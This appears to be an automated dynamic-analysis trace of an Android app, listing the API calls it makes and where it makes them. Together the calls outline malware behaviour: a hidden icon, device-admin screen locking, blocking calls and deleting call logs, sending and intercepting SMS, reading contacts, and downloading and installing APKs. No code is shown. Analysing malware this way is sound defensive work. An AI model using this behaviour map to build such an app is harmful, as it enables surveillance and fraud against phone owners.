| API: java.io.FileOutputStream-><init> at ..:25 | Show source |
|---|
| API: java.io.InputStream->read at ..:29 | Show source |
|---|
| API: java.io.OutputStream->flush at ..:33 | Show source |
|---|
| API: java.io.OutputStream->close at ..:35 | Show source |
|---|
| API: java.io.OutputStream->write at ..:40 | Show source |
|---|
| API: java.lang.Exception->printStackTrace at ..:45 | Show source |
|---|
| API: java.io.OutputStream->close at ..:47 | Show source |
|---|
| API: java.io.IOException->printStackTrace at ..:51 | Show source |
|---|
| API: java.io.OutputStream->close at ..:55 | Show source |
|---|
| API: java.io.IOException->printStackTrace at ..:59 | Show source |
|---|
| API: java.io.IOException->printStackTrace at ..:63 | Show source |
|---|
| API: java.lang.String->valueOf at ..:11 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at ..:14 | Show source |
|---|
| API: java.lang.StringBuilder->append at ..:16 | Show source |
|---|
| API: java.lang.StringBuilder->toString at ..:19 | Show source |
|---|
| API: java.io.InputStream->close at ..:26 | Show source |
|---|
| API: java.io.IOException->printStackTrace at ..:31 | Show source |
|---|
| API: java.io.InputStream->close at ..:41 | Show source |
|---|
| API: java.io.IOException->printStackTrace at ..:45 | Show source |
|---|
| API: java.lang.Exception->printStackTrace at ..:49 | Show source |
|---|
| API: java.io.InputStream->close at ..:51 | Show source |
|---|
| API: java.io.IOException->printStackTrace at ..:55 | Show source |
|---|
| API: java.io.InputStream->close at ..:59 | Show source |
|---|
| API: java.io.IOException->printStackTrace at ..:63 | Show source |
|---|
| API: java.io.InputStream->close at ..:66 | Show source |
|---|
| API: java.io.IOException->printStackTrace at ..:71 | Show source |
|---|
| API: java.lang.StringBuffer-><init> at com.example.adt.HttpDownloader.download:4 | Show source |
|---|
| API: java.net.URL-><init> at com.example.adt.HttpDownloader.download:9 | Show source |
|---|
| API: java.net.URL->openConnection at com.example.adt.HttpDownloader.download:14 | Show source |
|---|
| API: java.net.HttpURLConnection->getInputStream at com.example.adt.HttpDownloader.download:20 | Show source |
|---|
| API: java.io.InputStreamReader-><init> at com.example.adt.HttpDownloader.download:23 | Show source |
|---|
| API: java.io.BufferedReader-><init> at com.example.adt.HttpDownloader.download:25 | Show source |
|---|
| API: java.io.BufferedReader->readLine at com.example.adt.HttpDownloader.download:27 | Show source |
|---|
| API: java.io.BufferedReader->close at com.example.adt.HttpDownloader.download:31 | Show source |
|---|
| API: java.lang.StringBuffer->toString at com.example.adt.HttpDownloader.download:34 | Show source |
|---|
| API: java.lang.StringBuffer->append at com.example.adt.HttpDownloader.download:38 | Show source |
|---|
| API: java.lang.Exception->printStackTrace at com.example.adt.HttpDownloader.download:43 | Show source |
|---|
| API: java.io.BufferedReader->close at com.example.adt.HttpDownloader.download:45 | Show source |
|---|
| API: java.io.IOException->printStackTrace at com.example.adt.HttpDownloader.download:49 | Show source |
|---|
| API: java.io.BufferedReader->close at com.example.adt.HttpDownloader.download:53 | Show source |
|---|
| API: java.io.IOException->printStackTrace at com.example.adt.HttpDownloader.download:57 | Show source |
|---|
| API: java.io.IOException->printStackTrace at com.example.adt.HttpDownloader.download:61 | Show source |
|---|
| API: java.lang.Object-><init> at ..:2 | Show source |
|---|
| API: java.net.URL-><init> at com.example.adt.HttpDownloader.getInputStreamFromURL:6 | Show source |
|---|
| API: java.net.URL->openConnection at com.example.adt.HttpDownloader.getInputStreamFromURL:11 | Show source |
|---|
| API: java.net.HttpURLConnection->getInputStream at com.example.adt.HttpDownloader.getInputStreamFromURL:17 | Show source |
|---|
| API: java.net.MalformedURLException->printStackTrace at com.example.adt.HttpDownloader.getInputStreamFromURL:22 | Show source |
|---|
| API: java.io.IOException->printStackTrace at com.example.adt.HttpDownloader.getInputStreamFromURL:26 | Show source |
|---|
| API: android.app.admin.DeviceAdminReceiver->onReceive at com.example.adt.LockReceiver.onReceive:4 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.LockReceiver.onReceive:10 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.LockReceiver.onEnabled:8 | Show source |
|---|
| API: android.app.admin.DeviceAdminReceiver->onEnabled at com.example.adt.LockReceiver.onEnabled:10 | Show source |
|---|
| API: android.app.admin.DeviceAdminReceiver-><init> at ..:2 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.LockReceiver.onDisabled:8 | Show source |
|---|
| API: android.app.admin.DeviceAdminReceiver->onDisabled at com.example.adt.LockReceiver.onDisabled:10 | Show source |
|---|
| API: android.content.Intent-><init> at com.example.adt.MainActivity.activeManager:5 | Show source |
|---|
| API: android.app.Activity-><init> at ..:2 | Show source |
|---|
| API: com.example.adt.MainActivity->getPackageManager at ..:2 | Show source |
|---|
| API: com.example.adt.MainActivity->getComponentName at ..:5 | Show source |
|---|
| API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:10 | Show source |
|---|
| API: android.app.Activity->onCreate at com.example.adt.MainActivity.onCreate:3 | Show source |
|---|
| API: com.example.adt.MainActivity->setContentView at com.example.adt.MainActivity.onCreate:9 | Show source |
|---|
| API: com.example.adt.MainActivity->getComponentName at com.example.adt.MainActivity.onCreate:12 | Show source |
|---|
| API: android.content.ComponentName-><init> at com.example.adt.MainActivity.onCreate:25 | Show source |
|---|
| API: android.app.admin.DevicePolicyManager->lockNow at com.example.adt.MainActivity.onCreate:38 | Show source |
|---|
| API: android.content.Intent-><init> at com.example.adt.MainActivity.onCreate:42 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.MainActivity.onCreate:50 | Show source |
|---|
| API: com.example.adt.MainActivity->HideIcon at com.example.adt.MainActivity.onCreate:56 | Show source |
|---|
| API: com.example.adt.MainActivity->finish at com.example.adt.MainActivity.onCreate:58 | Show source |
|---|
| API: com.example.adt.MainActivity->activeManager at com.example.adt.MainActivity.onCreate:61 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: com.example.adt.MainActivity->getPackageManager at ..:6 | Show source |
|---|
| API: com.example.adt.MainActivity->getComponentName at ..:11 | Show source |
|---|
| API: android.content.pm.PackageManager->setComponentEnabledSetting at ..:16 | Show source |
|---|
| API: com.example.adt.MainActivity->finish at ..:20 | Show source |
|---|
| API: android.content.Intent->getAction at com.example.adt.PhoneListener.onReceive:5 | Show source |
|---|
| API: android.content.Intent->getStringExtra at com.example.adt.PhoneListener.onReceive:10 | Show source |
|---|
| API: java.lang.String->equals at com.example.adt.PhoneListener.onReceive:16 | Show source |
|---|
| API: com.example.adt.CoreService->getSystemService at com.example.adt.PhoneListener.onReceive:25 | Show source |
|---|
| API: android.media.AudioManager->setVibrateSetting at com.example.adt.PhoneListener.onReceive:29 | Show source |
|---|
| API: android.media.AudioManager->setRingerMode at com.example.adt.PhoneListener.onReceive:31 | Show source |
|---|
| API: android.content.Context->getSystemService at com.example.adt.PhoneListener.onReceive:35 | Show source |
|---|
| API: android.telephony.TelephonyManager->getCallState at com.example.adt.PhoneListener.onReceive:39 | Show source |
|---|
| API: java.lang.Integer->valueOf at com.example.adt.PhoneListener.onReceive:52 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.PhoneListener.onReceive:60 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.PhoneListener.onReceive:64 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.PhoneListener.onReceive:69 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.PhoneListener.onReceive:72 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.PhoneListener.onReceive:75 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.PhoneListener.onReceive:78 | Show source |
|---|
| API: java.lang.Integer->valueOf at com.example.adt.PhoneListener.onReceive:81 | Show source |
|---|
| API: java.lang.Integer->equals at com.example.adt.PhoneListener.onReceive:84 | Show source |
|---|
| API: com.example.adt.PhoneListener->endCall at com.example.adt.PhoneListener.onReceive:88 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.PhoneListener.onReceive:95 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.PhoneListener.onReceive:97 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.PhoneListener.onReceive:100 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.PhoneListener.onReceive:103 | Show source |
|---|
| API: java.lang.Thread-><init> at com.example.adt.PhoneListener.onReceive:109 | Show source |
|---|
| API: java.lang.Thread->start at com.example.adt.PhoneListener.onReceive:111 | Show source |
|---|
| API: java.lang.Thread-><init> at com.example.adt.PhoneListener.onReceive:117 | Show source |
|---|
| API: java.lang.Thread->start at com.example.adt.PhoneListener.onReceive:119 | Show source |
|---|
| API: android.content.BroadcastReceiver-><init> at ..:2 | Show source |
|---|
| API: com.example.adt.PhoneListener->DeleteCall at ..:4 | Show source |
|---|
| API: com.example.adt.CoreService->getSystemService at com.example.adt.PhoneListener.endCall:6 | Show source |
|---|
| API: java.lang.Class->getDeclaredMethod at com.example.adt.PhoneListener.endCall:15 | Show source |
|---|
| API: java.lang.reflect.Method->setAccessible at com.example.adt.PhoneListener.endCall:19 | Show source |
|---|
| API: java.lang.reflect.Method->invoke at com.example.adt.PhoneListener.endCall:22 | Show source |
|---|
| API: com.example.adt.CoreService->getContentResolver at com.example.adt.PhoneListener.DeleteCall:5 | Show source |
|---|
| API: android.content.ContentResolver->delete at com.example.adt.PhoneListener.DeleteCall:16 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.PhoneListener$1.run:17 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.PhoneListener$1.run:20 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:24 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:29 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:36 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:41 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:44 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:49 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:56 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.PhoneListener$1.run:59 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.PhoneListener$1.run:67 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.PhoneListener$1.run:69 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.PhoneListener$1.run:72 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.PhoneListener$1.run:75 | Show source |
|---|
| API: java.lang.Thread->sleep at ..:12 | Show source |
|---|
| API: com.example.adt.PhoneListener->access$0 at ..:20 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: java.lang.Object-><init> at ..:2 | Show source |
|---|
| API: java.lang.Object-><init> at ..:2 | Show source |
|---|
| API: java.lang.Object-><init> at ..:2 | Show source |
|---|
| API: java.lang.Object-><init> at ..:2 | Show source |
|---|
| API: java.lang.Object-><init> at ..:2 | Show source |
|---|
| API: java.lang.Object-><init> at ..:2 | Show source |
|---|
| API: java.lang.Object-><init> at ..:2 | Show source |
|---|
| API: java.lang.Object-><init> at ..:2 | Show source |
|---|
| API: java.lang.Object-><init> at ..:2 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: com.example.adt.SMS$1-><init> at ..:9 | Show source |
|---|
| API: java.net.URLDecoder->decode at com.example.adt.SMS.send:3 | Show source |
|---|
| API: java.lang.String->split at com.example.adt.SMS.send:8 | Show source |
|---|
| API: java.lang.Thread-><init> at com.example.adt.SMS.send:16 | Show source |
|---|
| API: java.lang.Thread->start at com.example.adt.SMS.send:18 | Show source |
|---|
| API: android.telephony.SmsManager->getDefault at com.example.adt.SMS.sendData:5 | Show source |
|---|
| API: java.lang.String->length at com.example.adt.SMS.sendData:10 | Show source |
|---|
| API: android.content.Intent-><init> at com.example.adt.SMS.sendData:18 | Show source |
|---|
| API: android.content.Intent-><init> at com.example.adt.SMS.sendData:23 | Show source |
|---|
| API: android.app.PendingIntent->getBroadcast at com.example.adt.SMS.sendData:27 | Show source |
|---|
| API: android.content.IntentFilter-><init> at com.example.adt.SMS.sendData:37 | Show source |
|---|
| API: com.example.adt.CoreService->registerReceiver at com.example.adt.SMS.sendData:39 | Show source |
|---|
| API: android.app.PendingIntent->getBroadcast at com.example.adt.SMS.sendData:43 | Show source |
|---|
| API: android.telephony.SmsManager->sendTextMessage at com.example.adt.SMS.sendData:51 | Show source |
|---|
| API: com.example.adt.SMS$1->getResultCode at ..:4 | Show source |
|---|
| API: java.lang.Thread-><init> at ..:12 | Show source |
|---|
| API: java.lang.Thread->start at ..:14 | Show source |
|---|
| API: java.lang.Thread-><init> at ..:21 | Show source |
|---|
| API: java.lang.Thread->start at ..:23 | Show source |
|---|
| API: android.content.BroadcastReceiver-><init> at ..:4 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: com.example.adt.SMS$1->access$0 at com.example.adt.SMS$1$1.run:4 | Show source |
|---|
| API: java.lang.String->trim at com.example.adt.SMS$1$1.run:9 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.SMS$1$1.run:22 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.SMS$1$1.run:25 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:29 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:34 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:37 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:42 | Show source |
|---|
| API: com.example.adt.SMS$1->access$0 at com.example.adt.SMS$1$1.run:47 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:52 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:57 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.SMS$1$1.run:60 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.SMS$1$1.run:68 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$1$1.run:70 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.SMS$1$1.run:73 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.SMS$1$1.run:76 | Show source |
|---|
| API: com.example.adt.SMS$1->access$0 at com.example.adt.SMS$1$2.run:4 | Show source |
|---|
| API: java.lang.String->trim at com.example.adt.SMS$1$2.run:9 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.SMS$1$2.run:22 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.SMS$1$2.run:25 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:29 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:34 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:37 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:42 | Show source |
|---|
| API: com.example.adt.SMS$1->access$0 at com.example.adt.SMS$1$2.run:47 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:52 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:57 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.SMS$1$2.run:60 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.SMS$1$2.run:68 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$1$2.run:70 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.SMS$1$2.run:73 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.SMS$1$2.run:76 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: java.lang.Thread->sleep at com.example.adt.SMS$2.run:13 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.SMS$2.run:20 | Show source |
|---|
| API: java.lang.Integer->toString at com.example.adt.SMS$2.run:27 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$2.run:30 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$2.run:35 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$2.run:41 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.SMS$2.run:44 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.SMS$2.run:47 | Show source |
|---|
| API: java.lang.Thread-><init> at com.example.adt.SMS$2.run:79 | Show source |
|---|
| API: java.lang.Thread->start at com.example.adt.SMS$2.run:81 | Show source |
|---|
| API: java.lang.InterruptedException->printStackTrace at com.example.adt.SMS$2.run:85 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.SMS$2$1.run:12 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.SMS$2$1.run:15 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$2$1.run:19 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$2$1.run:24 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMS$2$1.run:34 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.SMS$2$1.run:37 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.SMSReceiver.onReceive:10 | Show source |
|---|
| API: com.example.adt.SMSReceiver->isOrderedBroadcast at com.example.adt.SMSReceiver.onReceive:12 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver.onReceive:15 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.SMSReceiver.onReceive:18 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.SMSReceiver.onReceive:21 | Show source |
|---|
| API: android.content.Intent->getExtras at com.example.adt.SMSReceiver.onReceive:23 | Show source |
|---|
| API: android.os.Bundle->get at com.example.adt.SMSReceiver.onReceive:28 | Show source |
|---|
| API: android.telephony.SmsMessage->createFromPdu at com.example.adt.SMSReceiver.onReceive:46 | Show source |
|---|
| API: android.telephony.SmsMessage->getMessageBody at com.example.adt.SMSReceiver.onReceive:53 | Show source |
|---|
| API: java.lang.String->trim at com.example.adt.SMSReceiver.onReceive:56 | Show source |
|---|
| API: java.net.URLEncoder->encode at com.example.adt.SMSReceiver.onReceive:59 | Show source |
|---|
| API: android.telephony.SmsMessage->getOriginatingAddress at com.example.adt.SMSReceiver.onReceive:63 | Show source |
|---|
| API: java.lang.Integer->valueOf at com.example.adt.SMSReceiver.onReceive:83 | Show source |
|---|
| API: java.lang.Integer->valueOf at com.example.adt.SMSReceiver.onReceive:86 | Show source |
|---|
| API: java.lang.Integer->equals at com.example.adt.SMSReceiver.onReceive:89 | Show source |
|---|
| API: java.lang.Thread-><init> at com.example.adt.SMSReceiver.onReceive:97 | Show source |
|---|
| API: java.lang.Thread->start at com.example.adt.SMSReceiver.onReceive:99 | Show source |
|---|
| API: com.example.adt.SMSReceiver->abortBroadcast at com.example.adt.SMSReceiver.onReceive:101 | Show source |
|---|
| API: android.content.BroadcastReceiver-><init> at ..:2 | Show source |
|---|
| API: java.lang.String->valueOf at com.example.adt.SMSReceiver$1.run:12 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.SMSReceiver$1.run:15 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:19 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:24 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:31 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:36 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:43 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:48 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:55 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:60 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:67 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.SMSReceiver$1.run:70 | Show source |
|---|
| API: java.lang.StringBuilder-><init> at com.example.adt.SMSReceiver$1.run:84 | Show source |
|---|
| API: java.lang.StringBuilder->append at com.example.adt.SMSReceiver$1.run:86 | Show source |
|---|
| API: java.lang.StringBuilder->toString at com.example.adt.SMSReceiver$1.run:89 | Show source |
|---|
| API: java.io.PrintStream->println at com.example.adt.SMSReceiver$1.run:92 | Show source |
|---|
| API: java.lang.Object-><init> at ..:4 | Show source |
|---|
| Method: com.example.adt.MainActivity.onCreate:32 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| who | android.content.ComponentName |
|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.Boolean |
|
| Method: com.example.adt.MainActivity.onCreate:6 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| featureId | java.lang.Integer |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.util.AndroidRuntimeException |
|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:123 | Show source |
|---|
| Method: com.example.adt.App.changeApk:35 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:54 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:169 | Show source |
|---|
| Method: com.example.adt.App.changeApk:55 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:92 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:149 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:76 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:167 | Show source |
|---|
| Method: com.example.adt.App.changeApk:53 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:90 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:158 | Show source |
|---|
| Method: com.example.adt.App.changeApk:46 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:83 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:129 | Show source |
|---|
| Method: com.example.adt.App.changeApk:39 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:58 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:172 | Show source |
|---|
| Method: com.example.adt.App.changeApk:58 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:95 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:178 | Show source |
|---|
| Method: com.example.adt.App.changeApk:64 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:101 | Show source |
|---|
| Method: com.example.adt.CoreService.showNofity:28 | Show source |
|---|
| Method: com.example.adt.SMS.sendData:27 | Show source |
|---|
| Method: com.example.adt.SMS.sendData:43 | Show source |
|---|
| Method: com.example.adt.Config.get:11 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| p1 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| Method: com.example.adt.Config.get:11 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| p1 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| Method: com.example.adt.App.autoChangeApps:46 | Show source |
|---|
| Method: com.example.adt.App.getApps:71 | Show source |
|---|
| Method: com.example.adt.App.hasApp:45 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:12 | Show source |
|---|
| Method: com.example.adt.App.getApps:10 | Show source |
|---|
| Method: com.example.adt.App.hasApp:12 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: com.example.adt.Contact.getPhoneContacts:17 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | android.net.Uri$HierarchicalUri |
|
| p1 | [Ljava.lang.String; |
|
| p2 | null |
|
| p3 | null |
|
| p4 | null |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.content.ContentResolver$CursorWrapperInner |
|
| Method: com.example.adt.Contact.getPhoneContacts:17 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | android.net.Uri$HierarchicalUri |
|
| p1 | [Ljava.lang.String; |
|
| p2 | null |
|
| p3 | null |
|
| p4 | null |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.content.ContentResolver$CursorWrapperInner |
|
| Method: com.example.adt.Contact.getPhoneContacts:17 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | android.net.Uri$HierarchicalUri |
|
| p1 | [Ljava.lang.String; |
|
| p2 | null |
|
| p3 | null |
|
| p4 | null |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.content.ContentResolver$CursorWrapperInner |
|
| Method: com.example.adt.Config.get:8 | Show source |
|---|
| Method: com.example.adt.Config.set:8 | Show source |
|---|
| Method: com.example.adt.Config.set:8 | Show source |
|---|
| Method: com.example.adt.Config.get:8 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:35 | Show source |
|---|
| Method: com.example.adt.Config.isNetworkConnected:6 | Show source |
|---|
| Method: com.example.adt.Config.getAPNType:11 | Show source |
|---|
| Method: com.example.adt.Config.isServiceRunning:7 | Show source |
|---|
| Method: com.example.adt.DownLoad.openFile:11 | Show source |
|---|
| Method: com.example.adt.CoreService.showNofity:24 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:101 | Show source |
|---|
| Method: com.example.adt.CoreService$BtnClick$1.run:5 | Show source |
|---|
| Method: com.example.adt.MainActivity.activeManager:5 | Show source |
|---|
| Method: com.example.adt.App.alertBroadCast:4 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:23 | Show source |
|---|
| Method: com.example.adt.SMS.sendData:18 | Show source |
|---|
| Method: com.example.adt.SMS.sendData:23 | Show source |
|---|
| Method: com.example.adt.CoreService.uninstallAPK:38 | Show source |
|---|
| Method: com.example.adt.MainActivity.onCreate:42 | Show source |
|---|
| Method: com.example.adt.CoreService.onCreate:78 | Show source |
|---|
| Method: com.example.adt.SMS.sendData:37 | Show source |
|---|
| Method: com.example.adt.CoreService.onCreate:82 | Show source |
|---|
| Method: com.example.adt.CoreService.onCreate:86 | Show source |
|---|
| Method: com.example.adt.CoreService.onCreate:90 | Show source |
|---|
| Method: com.example.adt.CoreService.onCreate:94 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:5 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:5 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:4 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:13 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:30 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:44 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:55 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:109 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:64 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:98 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:204 | Show source |
|---|
| Method: com.example.adt.SMSReceiver.onReceive:23 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:21 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:10 | Show source |
|---|
| Method: com.example.adt.App.alertBroadCast:13 | Show source |
|---|
| Method: com.example.adt.App.alertBroadCast:17 | Show source |
|---|
| Method: com.example.adt.MainActivity.activeManager:11 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| p1 | android.content.ComponentName |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.content.Intent |
|
| Method: com.example.adt.MainActivity.activeManager:17 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| p1 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.content.Intent |
|
| Method: com.example.adt.DownLoad.openFile:18 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:114 | Show source |
|---|
| Method: com.example.adt.CoreService$BtnClick$1.run:9 | Show source |
|---|
| Method: com.example.adt.App.alertBroadCast:8 | Show source |
|---|
| Method: com.example.adt.Contact.getPhoneContacts:41 | Show source |
|---|
| Method: com.example.adt.Contact.getPhoneContacts:49 | Show source |
|---|
| Method: com.example.adt.Config.isNetworkConnected:10 | Show source |
|---|
| Method: com.example.adt.Config.getAPNType:15 | Show source |
|---|
| Method: com.example.adt.CoreService.NetWorkStatus:9 | Show source |
|---|
| Method: com.example.adt.CoreService.NetWorkStatus:11 | Show source |
|---|
